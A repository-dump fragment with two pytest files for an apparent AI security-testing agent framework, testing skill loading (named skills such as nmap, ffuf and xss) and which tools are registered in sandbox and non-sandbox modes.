    "content": "from typing import Any\n\nfrom strix.tools.agents_graph import agents_graph_actions\nfrom strix.tools.load_skill import load_skill_actions\n\n\nclass _DummyLLM:\n    def __init__(self, initial_skills: list[str] | None = None) -> None:\n        self.loaded: set[str] = set(initial_skills or [])\n\n    def add_skills(self, skill_names: list[str]) -> list[str]:\n        newly_loaded = [skill for skill in skill_names if skill not in self.loaded]\n        self.loaded.update(newly_loaded)\n        return newly_loaded\n\n\nclass _DummyAgent:\n    def __init__(self, initial_skills: list[str] | None = None) -> None:\n        self.llm = _DummyLLM(initial_skills)\n\n\nclass _DummyAgentState:\n    def __init__(self, agent_id: str) -> None:\n        self.agent_id = agent_id\n        self.context: dict[str, Any] = {}\n\n    def update_context(self, key: str, value: Any) -> None:\n        self.context[key] = value\n\n\ndef test_load_skill_success_and_context_update() -> None:\n    instances = agents_graph_actions.__dict__[\"_agent_instances\"]\n    original_instances = dict(instances)\n    try:\n        state = _DummyAgentState(\"agent_test_load_skill_success\")\n        instances.clear()\n        instances[state.agent_id] = _DummyAgent()\n\n        result = load_skill_actions.load_skill(state, \"ffuf,xss\")\n\n        assert result[\"success\"] is True\n        assert result[\"loaded_skills\"] == [\"ffuf\", \"xss\"]\n        assert result[\"newly_loaded_skills\"] == [\"ffuf\", \"xss\"]\n        assert state.context[\"loaded_skills\"] == [\"ffuf\", \"xss\"]\n    finally:\n        instances.clear()\n        instances.update(original_instances)\n\n\ndef test_load_skill_uses_same_plain_skill_format_as_create_agent() -> None:\n    instances = agents_graph_actions.__dict__[\"_agent_instances\"]\n    original_instances = dict(instances)\n    try:\n        state = _DummyAgentState(\"agent_test_load_skill_short_name\")\n        instances.clear()\n        instances[state.agent_id] = _DummyAgent()\n\n        result = load_skill_actions.load_skill(state, \"nmap\")\n\n        assert result[\"success\"] is True\n        assert result[\"loaded_skills\"] == [\"nmap\"]\n        assert result[\"newly_loaded_skills\"] == [\"nmap\"]\n        assert state.context[\"loaded_skills\"] == [\"nmap\"]\n    finally:\n        instances.clear()\n        instances.update(original_instances)\n\n\ndef test_load_skill_invalid_skill_returns_error() -> None:\n    instances = agents_graph_actions.__dict__[\"_agent_instances\"]\n    original_instances = dict(instances)\n    try:\n        state = _DummyAgentState(\"agent_test_load_skill_invalid\")\n        instances.clear()\n        instances[state.agent_id] = _DummyAgent()\n\n        result = load_skill_actions.load_skill(state, \"definitely_not_a_real_skill\")\n\n        assert result[\"success\"] is False\n        assert \"Invalid skills\" in result[\"error\"]\n        assert \"Available skills\" in result[\"error\"]\n    finally:\n        instances.clear()\n        instances.update(original_instances)\n\n\ndef test_load_skill_rejects_more_than_five_skills() -> None:\n    instances = agents_graph_actions.__dict__[\"_agent_instances\"]\n    original_instances = dict(instances)\n    try:\n        state = _DummyAgentState(\"agent_test_load_skill_too_many\")\n        instances.clear()\n        instances[state.agent_id] = _DummyAgent()\n\n        result = load_skill_actions.load_skill(state, \"a,b,c,d,e,f\")\n\n        assert result[\"success\"] is False\n        assert result[\"error\"] == (\n            \"Cannot specify more than 5 skills for an agent (use comma-separated format)\"\n        )\n    finally:\n        instances.clear()\n        instances.update(original_instances)\n\n\ndef test_load_skill_missing_agent_instance_returns_error() -> None:\n    instances = agents_graph_actions.__dict__[\"_agent_instances\"]\n    original_instances = dict(instances)\n    try:\n        state = _DummyAgentState(\"agent_test_load_skill_missing_instance\")\n        instances.clear()\n\n        result = load_skill_actions.load_skill(state, \"httpx\")\n\n        assert result[\"success\"] is False\n        assert \"running agent instance\" in result[\"error\"]\n    finally:\n        instances.clear()\n        instances.update(original_instances)\n\n\ndef test_load_skill_does_not_reload_skill_already_present_from_agent_creation() -> None:\n    instances = agents_graph_actions.__dict__[\"_agent_instances\"]\n    original_instances = dict(instances)\n    try:\n        state = _DummyAgentState(\"agent_test_load_skill_existing_config_skill\")\n        instances.clear()\n        instances[state.agent_id] = _DummyAgent([\"xss\"])\n\n        result = load_skill_actions.load_skill(state, \"xss,sql_injection\")\n\n        assert result[\"success\"] is True\n        assert result[\"loaded_skills\"] == [\"xss\", \"sql_injection\"]\n        assert result[\"newly_loaded_skills\"] == [\"sql_injection\"]\n        assert result[\"already_loaded_skills\"] == [\"xss\"]\n        assert state.context[\"loaded_skills\"] == [\"sql_injection\", \"xss\"]\n    finally:\n        instances.clear()\n        instances.update(original_instances)\n"
  },
  {
    "path": "tests/tools/test_tool_registration_modes.py",
    "content": "import importlib\nimport sys\nfrom types import ModuleType\nfrom typing import Any\n\nfrom strix.config import Config\nfrom strix.tools.registry import clear_registry\n\n\ndef _empty_config_load(_cls: type[Config]) -> dict[str, dict[str, str]]:\n    return {\"env\": {}}\n\n\ndef _reload_tools_module() -> ModuleType:\n    clear_registry()\n\n    for name in list(sys.modules):\n        if name == \"strix.tools\" or name.startswith(\"strix.tools.\"):\n            sys.modules.pop(name, None)\n\n    return importlib.import_module(\"strix.tools\")\n\n\ndef test_non_sandbox_registers_agents_graph_but_not_browser_or_web_search_when_disabled(\n    monkeypatch: Any,\n) -> None:\n    monkeypatch.setenv(\"STRIX_SANDBOX_MODE\", \"false\")\n    monkeypatch.setenv(\"STRIX_DISABLE_BROWSER\", \"true\")\n    monkeypatch.delenv(\"PERPLEXITY_API_KEY\", raising=False)\n    monkeypatch.setattr(Config, \"load\", classmethod(_empty_config_load))\n\n    tools = _reload_tools_module()\n    names = set(tools.get_tool_names())\n\n    assert \"create_agent\" in names\n    assert \"browser_action\" not in names\n    assert \"web_search\" not in names\n\n\ndef test_sandbox_registers_sandbox_tools_but_not_non_sandbox_tools(\n    monkeypatch: Any,\n) -> None:\n    monkeypatch.setenv(\"STRIX_SANDBOX_MODE\", \"true\")\n    monkeypatch.setenv(\"STRIX_DISABLE_BROWSER\", \"true\")\n    monkeypatch.delenv(\"PERPLEXITY_API_KEY\", raising=False)\n    monkeypatch.setattr(Config, \"load\", classmethod(_empty_config_load))\n\n    tools = _reload_tools_module()\n    names = set(tools.get_tool_names())\n\n    assert \"terminal_execute\" in names\n    assert \"python_action\" in names\n    assert \"list_requests\" in names\n    assert \"create_agent\" not in names\n    assert \"finish_scan\" not in names\n    assert \"load_skill\" not in names\n    assert \"browser_action\" not in names\n    assert \"web_search\" not in names\n\n\ndef test_load_skill_import_does_not_register_create_agent_in_sandbox(\n    monkeypatch: Any,\n) -> None:\n    monkeypatch.setenv(\"STRIX_SANDBOX_MODE\", \"true\")\n    monkeypatch.setenv(\"STRIX_DISABLE_BROWSER\", \"true\")\n    monkeypatch.delenv(\"PERPLEXITY_API_KEY\", raising=False)\n    monkeypatch.setattr(Config, \"load\", classmethod(_empty_config_load))\n\n    clear_registry()\n    for name in list(sys.modules):\n        if name == \"strix.tools\" or name.startswith(\"strix.tools.\"):\n            sys.modules.pop(name, None)\n\n    load_skill_module = importlib.import_module(\"strix.tools.load_skill.load_skill_actions\")\n    registry = importlib.import_module(\"strix.tools.registry\")\n\n    names_before = set(registry.get_tool_names())\n    assert \"load_skill\" not in names_before\n    assert \"create_agent\" not in names_before\n\n    state_type = type(\n        \"DummyState\",\n        (),\n        {\n            \"agent_id\": \"agent_test\",\n            \"context\": {},\n            \"update_context\": lambda self, key, value: self.context.__setitem__(key, value),\n        },\n    )\n    result = load_skill_module.load_skill(state_type(), \"nmap\")\n\n    names_after = set(registry.get_tool_names())\n    assert \"create_agent\" not in names_after\n    assert result[\"success\"] is False\n"
  }
]